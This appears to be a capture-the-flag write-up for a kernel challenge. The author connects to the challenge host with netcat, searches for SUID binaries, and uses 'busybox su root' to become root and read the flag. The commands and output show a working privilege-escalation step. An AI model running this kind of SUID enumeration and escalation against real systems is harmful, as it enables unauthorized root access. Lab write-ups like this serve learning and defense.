Here we are given a netcat listener and we have to connect to it.```nc 34.85.38.218 10002```
After connecting we will have a shell.
```shell/ $ lslsbin         flag        lost+found  proc        sysdev         lib         media       root        tmpecrypt.ko   lib64       mnt         run         usretc         linuxrc     opt         sbin        var/ $ ```
currently we are in root directory.
let's try to read the flag```shell/ $ cat flagcat flagcat: can't open 'flag': Permission denied/ $ ```
Permission denied!!
Let's search for any suid files on our target system
```find / -perm -u=s -type f 2>/dev/null```
This will give us a file named busybox
Run busyboxand it will show us all the configurations which are avialable```/ $ busyboxbusyboxBusyBox v1.35.0 (2022-03-22 21:54:53 JST) multi-call binary.BusyBox is copyrighted by many authors between 1998-2015.Licensed under GPLv2. See source distribution for detailedcopyright notices.
Usage: busybox [function [arguments]...]   or: busybox --list[-full]   or: busybox --show SCRIPT   or: busybox --install [-s] [DIR]   or: function [arguments]...
	BusyBox is a multi-call binary that combines many common Unix	utilities into a single executable.  Most people will create a	link to busybox for each function they wish to use and BusyBox	will act like whatever it was invoked as.
Currently defined functions:	[, [[, addgroup, adduser, ar, arch, arp, arping, ascii, ash, awk,	base32, base64, basename, bc, blkid, bunzip2, bzcat, cat, chattr,	chgrp, chmod, chown, chroot, chrt, chvt, cksum, clear, cmp, cp, cpio,	crc32, crond, crontab, cttyhack, cut, date, dc, dd, deallocvt,	delgroup, deluser, devmem, df, diff, dirname, dmesg, dnsd,	dnsdomainname, dos2unix, du, dumpkmap, echo, egrep, eject, env,	ether-wake, expr, factor, fallocate, false, fbset, fdflush, fdformat,	fdisk, fgrep, find, flock, fold, free, freeramdisk, fsck, fsfreeze,	fstrim, fuser, getopt, getty, grep, gunzip, gzip, halt, hdparm, head,	hexdump, hexedit, hostid, hostname, hwclock, i2cdetect, i2cdump,	i2cget, i2cset, i2ctransfer, id, ifconfig, ifdown, ifup, inetd, init,	insmod, install, ip, ipaddr, ipcrm, ipcs, iplink, ipneigh, iproute,	iprule, iptunnel, kill, killall, killall5, klogd, last, less, link,	linux32, linux64, linuxrc, ln, loadfont, loadkmap, logger, login,	logname, losetup, ls, lsattr, lsmod, lsof, lspci, lsscsi, lsusb, lzcat,	lzma, lzopcat, makedevs, md5sum, mdev, mesg, microcom, mim, mkdir,	mkdosfs, mke2fs, mkfifo, mknod, mkpasswd, mkswap, mktemp, modprobe,	more, mount, mountpoint, mt, mv, nameif, netstat, nice, nl, nohup,	nologin, nproc, nslookup, nuke, od, openvt, partprobe, passwd, paste,	patch, pidof, ping, pipe_progress, pivot_root, poweroff, printenv,	printf, ps, pwd, rdate, readlink, readprofile, realpath, reboot,	renice, reset, resize, resume, rm, rmdir, rmmod, route, run-init,	run-parts, runlevel, sed, seq, setarch, setconsole, setfattr,	setkeycodes, setlogcons, setpriv, setserial, setsid, setuidgid, sh,	sha1sum, sha256sum, sha3sum, sha512sum, shred, sleep, sort,	start-stop-daemon, strings, stty, su, sulogin, svc, svok, swapoff,	swapon, switch_root, sync, sysctl, syslogd, tail, tar, tc, tee, telnet,	test, tftp, time, top, touch, tr, traceroute, true, truncate, ts, tty,	ubirename, udhcpc, uevent, umount, uname, uniq, unix2dos, unlink,	unlzma, unlzop, unxz, unzip, uptime, usleep, uudecode, uuencode,	vconfig, vi, vlock, w, watch, watchdog, wc, wget, which, who, whoami,	xargs, xxd, xz, xzcat, yes, zcat/ $ ```
Notice the **su** service here 
We got it :
run```/ $ busybox su rootbusybox su root/ # lslsbin         flag        lost+found  proc        sysdev         lib         media       root        tmpecrypt.ko   lib64       mnt         run         usretc         linuxrc     opt         sbin        var/ # cat flagcat flagLINECTF{WOW!_powerful_kernel_oor_oow}```
And we have our flag ?
